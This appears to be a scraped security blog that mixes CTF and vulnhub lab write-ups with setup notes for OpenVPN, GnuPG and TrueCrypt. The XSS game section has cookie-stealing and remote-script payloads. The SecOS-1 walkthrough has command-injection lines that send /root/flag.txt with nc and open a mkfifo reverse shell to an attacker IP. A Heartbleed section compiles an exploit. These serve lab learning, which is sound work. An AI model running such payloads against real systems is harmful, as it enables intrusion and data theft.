#cat traceraser#./traceraser.sh
# SecuInside CTF Quals 2k14: Reversing - yayaya (100 points)
#xdotool getmouselocation#while [ True ]; do import -window root -delay 0 -crop 400x388-0+112 `date +%d%m%y%H%M%S`-$RANDOM.png; sleep 0.1; done#cat blend-point.py#convert -crop 330x70+0+0 result.png flag.png#xxd -p flag.png | tr -d '\n'
# SecuInside CTF Quals 2k14: Speed Game - Mic Check (7 points)
#./rot.py -m inline -d "Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei"#./rot.py -m tracks -d "Q2QnT29oUNW0wtWqySDbw2UhvRIkTRrby2Qdx2g0UOjbwCHoTRrpw3Ei"
Labels:
ctf,
quals,
rot,
secuinside
# OpenVPN with x509 certificates
RSA key, CSR and DH parameter
#openssl genrsa -out server.key 2048#openssl req -new -key server.key -out server.csr#openssl genrsa -out client.key 2048#openssl req -new -key client.key -out client.csr#openssl dhparam -out dh2048.pem 2048
CA and signed certificates
#mkdir demoCA#mkdir demoCA/private#mkdir demoCA/newcerts#echo '01' > demoCA/serial#touch demoCA/index.txt#openssl req -new -x509 -extensions v3_ca -keyout cakey.pem -out cacert.pem -days 3650#mv cakey.pem demoCA/private/.#cp cacert.pem demoCA/.#openssl ca -in server.csr#openssl ca -in client.csr#cp demoCA/newcerts/01.pem server.pem#cp demoCA/newcerts/02.pem client.pem
OpenVPN server configuration
#cat openvpn_server.conf#openvpn openvpn_server.conf
OpenVPN client configuration
#cat openvpn_client.conf#openvpn openvpn_client.conf
OpenVPN Android client configuration - Import profile
#cat openvpn_client.ovpn#Import openvpn_client.ovpn
# XSS game area
Level 1: Hello, world of XSS
https://xss-game.appspot.com/level1/frame
query=<script>alert('xss')</script>
Level 2: Persistence is key
https://xss-game.appspot.com/level2/frame
post-content=<img src='foo' onerror='alert("xss")'>
post-content=<img src='foo' onerror='alert(document.cookie)'>
post-content=<img src='foo' onerror='s=document.createElement("script");s.src="//192.168.1.200/xss.js";document.body.appendChild(s)'>
Level 3: That sinking feeling...
https://xss-game.appspot.com/level3/frame#1
URL=https://xss-game.appspot.com/level3/frame#1' onerror='alert("xss")'>
Level 4: Context matters
https://xss-game.appspot.com/level4/frame
timer=');alert('xss
Level 5: Breaking protocol
https://xss-game.appspot.com/level5/frame
URL=https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert('xss')
Level 6: Follow the X
https://xss-game.appspot.com/level6/frame#/static/gadget.js
URL=https://xss-game.appspot.com/level6/frame#data:text/plain,alert('xss')
URL=https://xss-game.appspot.com/level6/frame#Https://192.168.1.1/xss.js
URL=https://xss-game.appspot.com/level6/frame#//192.168.1.1/xss.js
Tools
#ratproxy -w proxy.log -v traces_dir -p 8080 -d xss-game.appspot.com -lextifscgjm#ratproxy -w proxy.log -v traces_dir -p 8080 -d xss-game.appspot.com -XC
# skipfish -b i -I xss-game.appspot.com -X /css/,/img/ -Z -o report_dir -M -E -U https://xss-game.appspot.comReferences
http://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-00
https://www.google.com/about/appsecurity/learning/xss/index.html
https://code.google.com/p/ratproxy/wiki/RatproxyDoc
https://code.google.com/p/skipfish/wiki/SkipfishDoc
# SecOS 1
ht#wget http://download.vulnhub.com/secos/SecOS-1.tar.gzht#md5sum SecOS-1.tar.gzht#tar xvzf SecOS-1.tar.gzht#virtualbox<Run SecOS-1>
Grub solution
GNU GRUB *Ubuntueinit=/bin/bashF10root@(none):/#cat /root/flag.txt | grep -m 1 flagroot@(none):/#mount -o remout,rw /root@(none):/#passwd root<Reboot>
CSRF solution
ht#nmap 192.168.1.1ht#curl --silent http://192.168.1.1:8081ht#curl --silent http://192.168.1.1:8081/hintht#curl --silent --request POST --data 'username=user&password=pass' http://192.168.1.1:8081/sign-upht#curl --silent --request POST --cookie-jar uc --cookie uc --data 'username=user&password=pass' http://192.168.1.1:8081/loginht#curl --silent --cookie-jar uc --cookie uc http://192.168.1.1:8081/usersht#curl --silent --request POST --cookie-jar uc --cookie uc --data 'to=spiderman&message=http://192.168.1.2:8000/csrf.html' http://192.168.1.1:8081/send-messageht#cat csrf.htmlht#python -m SimpleHTTPServerht#curl --silent --request POST --cookie-jar sc --cookie sc --data 'username=spiderman&password=pass' http://192.168.1.1:8081/loginht#curl --silent --cookie-jar sc --cookie sc http://192.168.1.1:8081/messages | grep Wellht#ssh spiderman@192.168.1.1CrazyPassword!spiderman@SecOS-1:~$crontab -espiderman@SecOS-1:~$ps axuf | grep sudospiderman@SecOS-1:~$cat /home/spiderman/vnwa/internalServer.jsspiderman@SecOS-1:~$curl --silent --request POST --data 'ip=-c 1 127.0.0.1; nc 192.168.1.2 1234 < /root/flag.txt' http://127.0.0.1:9000
ht# ncat -l 192.168.1.2 1234 | grep -m 1 flag
spiderman@SecOS-1:~$function encode { echo -n "$1" | xxd -p | tr -d '\n' | sed 's/\(..\)/%\1/g'; }spiderman@SecOS-1:~$encoded=`encode '-c 1 127.0.0.1; if [ ! -p /tmp/f ]; then mkfifo /tmp/f; fi ; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.2 1234 > /tmp/f'`spiderman@SecOS-1:~$curl --silent --request POST --data "ip=$encoded" http://127.0.0.1:9000
ht#ncat -l 192.168.1.2 1234#hostname#whoami
# PicoCTF 2k13 - moreevil
#gdb -q -n -x moreevil.py#gdb -q -n -x moreevil.py#gdb moreevil(gdb)set environment LD_PRELOAD=lib/hook64.so(gdb)break *0x4021ee(gdb)run1234567890123456789(gdb)x/152xb 0x6030c8#ipythonIn [1]:key = [0x19, 0x1e, 0x06, 0x51, 0x1d, 0x1e, 0x06, 0x51, 0x12, 0x10, 0x1f, 0x51, 0x08, 0x1e, 0x04, 0x51, 0x16, 0x1e, 0x4e]In [2]:password = ''In [3]:for byte in key: password += chr(byte ^ ord('q'))In [4]:passwordOut[4]:
# GnuPG: The GNU Privacy Guard
Generating a new keypair
# gpg --gen-keyList the keys
#gpg --list-keys#key=`gpg --list-keys | grep ^pub | tr '/' ' ' | awk '{print $3}'`#email=`gpg --list-keys | grep uid | sed 's/.\+<\(.\+@.\+\..\+\)>/\1/'`
Generating a revocation certificate
# gpg --output revoke.asc --gen-revoke $keyExporting a public key
#gpg --armor --output $email.gpg --export $key#gpg --fingerprint $key
Importing a public key
#gpg --import $email.gpg#gpg --edit-key $key>fpr>sign>check
Making signatures
#gpg --sign original.file# 1 #gpg --clearsign original.file# 2 #gpg --detach-sig original.file# 3
Verifying signatures
#gpg --verify signed.file# 1, 2, 3 #gpg --decrypt signed.file# 1, 2
Encrypting documents
#gpg --output encrypted.file --encrypt --recipient $email original.file#gpg --output encrypted.file --symmetric original.file# shared secret
Decrypting documents
# gpg --output original.file --decrypt encrypted.fileDelete a key from your public keyring
# gpg --delete-keys $keyReferences
https://www.gnupg.org/gph/en/manual.html
# Encrypt all your data storage device
Download
#mkdir truecrypt && cd $_#wget --no-check-certificate https://www.truecrypt.org/download/TrueCrypt-Foundation-Public-Key.asc#wget --no-check-certificate https://www.truecrypt.org/download/truecrypt-7.1a-linux-console-x64.tar.gz.sig#wget --no-check-certificate https://www.truecrypt.org/download/truecrypt-7.1a-linux-console-x64.tar.gz
Verification
#gpg --import TrueCrypt-Foundation-Public-Key.asc#gpg --verify truecrypt-7.1a-linux-console-x64.tar.gz.sig truecrypt-7.1a-linux-console-x64.tar.gz
Installation
#tar xvzf truecrypt-7.1a-linux-console-x64.tar.gz#./truecrypt-7.1a-setup-console-x64#cd ..#rm -rf truecrypt
Encrypted volume creation
#dd if=/dev/urandom of=$device# Also use shred #device='/dev/sdb'# Choose yours #truecrypt --encryption=AES -k '' --filesystem=ext4 --hash=SHA-512 --random-source=/dev/urandom --volume-type=normal --quick --create $device#truecrypt -k '' --filesystem=none --protect-hidden=no --slot=1 $device#mkfs.ext4 `truecrypt -l | awk '{print $3}'`#truecrypt --dismount $device
Mount and dismount
#mount_point='/mnt'# Choose yours #truecrypt -k '' --protect-hidden=no --mount $device $mount_point#truecrypt --dismount $device
# Heartbleed
Affected OpenSSL versions
The affected versions of OpenSSL are OpenSSL 1.0.1 through 1.0.1f (inclusive).
Later versions (1.0.1g and ulterior) and previous versions (1.0.0 branch and older) are not vulnerable.
Installations of the affected versions are vulnerable unless OpenSSL was compiled with OPENSSL_NO_HEARTBEATS.
Scan and exploit
#./hbse 127.0.0.1# Interactive mode. #./hbse --scan 127.0.0.1# No interactive mode. Scan only. #./hbse --exploit 127.0.0.1# No interactive mode. Scan and exploit. #cat hbse
Requirements
#apt-get install nmap#wget --no-check-certificate https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse#mv ssl-heartbleed.nse /usr/share/nmap/scripts/.#wget http://nmap.org/svn/nselib/tls.lua#mv tls.lua /usr/share/nmap/nselib/.#wget -O heartbleed.c http://www.exploit-db.com/download/32791#gcc heartbleed.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto
Labels:
cve-2014-0160,
heartbleed,
nmap,
nse,
openssl,
shellscript
Subscribe to:
Posts (Atom)